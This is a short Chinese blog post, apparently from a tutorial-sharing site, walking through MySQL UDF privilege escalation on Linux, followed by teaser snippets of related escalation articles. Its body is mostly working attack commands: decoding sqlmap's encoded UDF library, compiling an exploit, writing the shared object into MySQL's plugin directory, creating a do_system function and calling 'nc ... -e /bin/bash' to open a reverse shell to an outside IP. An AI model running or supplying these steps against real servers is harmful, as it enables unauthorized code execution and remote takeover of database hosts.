美文网首页
MYSQL提权(LINUX)

MYSQL提权(LINUX)

作者: __周__ | 来源:发表于2021-01-28 14:59 被阅读0次

select @@global.secure_file_priv;
查看MySQL服务器的文件读写权限
如果是NULL就是完全禁止

udf提权用到的so文件(linux)在kali下默认集成,路径为/usr/share/sqlmap/udf/mysql/linux/64(32)

  • 还有一个需要注意的是,sqlmap里的udf.dll是通过异或编码的,使用之前一定要记得解码,解码的工具也在sqlmap中,路径为/usr/share/sqlmap/extra/cloak解密之后会在so目录下生成so文件

  • 需要创建udf中存在的函数才可以,可以用十六进制编辑器打开udf.so看一下

图片.png

或者searchsploit mysql udf

图片.png

把对应的内容编译出来

gcc -g -c 1518.c
gcc -g -shared -o  1518.so 1518.o -lc

mysql创建函数命令

use mysql;
show variables like '%plugin%';
create table udf1(line blob);
insert into udf1 values(load_file('/tmp/udf.so'));
select * from udf1 into dumpfile '/usr/lib/mysql/plugin/udf.so';
create function do_system returns integer soname 'udf.so';
select * from mysql.func; #查询是否创建函数成功
select do_system('nc 192.168.133.206 9999 -e /bin/bash');

相关文章

  • Linux提权

    简单概述Linux的几种提权的办法。 内核溢出提权 mysql udf提权 上传库文件 执行库文件创建命令执行函数...

  • MYSQL提权(LINUX)

    select @@global.secure_file_priv;查看MySQL服务器的文件读写权限如果是NULL...

  • mysql的提权的四种方案

    mysql的提权原理就是让mysql能够执行系统命令,而对与mysql的提权主要分为两种:MOF提权和UDF提权第...

  • Linux提权

    0x00 Linux提权基础命令 0x01 Linux提权工具 Linux内核CVE提权(github):可能会导...

  • 17.提权

    提权方法:溢出漏洞提权、数据库提权(mysql提权(udf提权,mof提权,自启动提权)、mssql提权)、第三方...

  • linux 提权-Crontab提权

    前言 记录一下linux提权系列的Crontab计划任务提权的学习过程。 crontab 命令 crontab命令...

  • linux 提权-SUID提权

    前言 最近想着学习linux提权的一些姿势,这里简单分享学习SUID提权的一些知识点。 权限解读 先来父复习一下l...

  • linux 提权-sudo提权

    前言 最近听闻sudo刚刚出来了新漏洞,而最近正好在看linux提权这块知识点。借此梳理一下sudo提权相关的姿势...

  • Mysql提权

    mysql提权基础  mysql通常在php语言中用的比较多 连接数据库的文件名一般为conn.php、confi...

  • Mysql 提权

    Mysql 安装 以 Centos 7 为例 wget下载安装包 wget http://repo.mysql.c...

网友评论

      本文标题:MYSQL提权(LINUX)

      本文链接:https://www.haomeiwen.com/subject/uccsbctx.html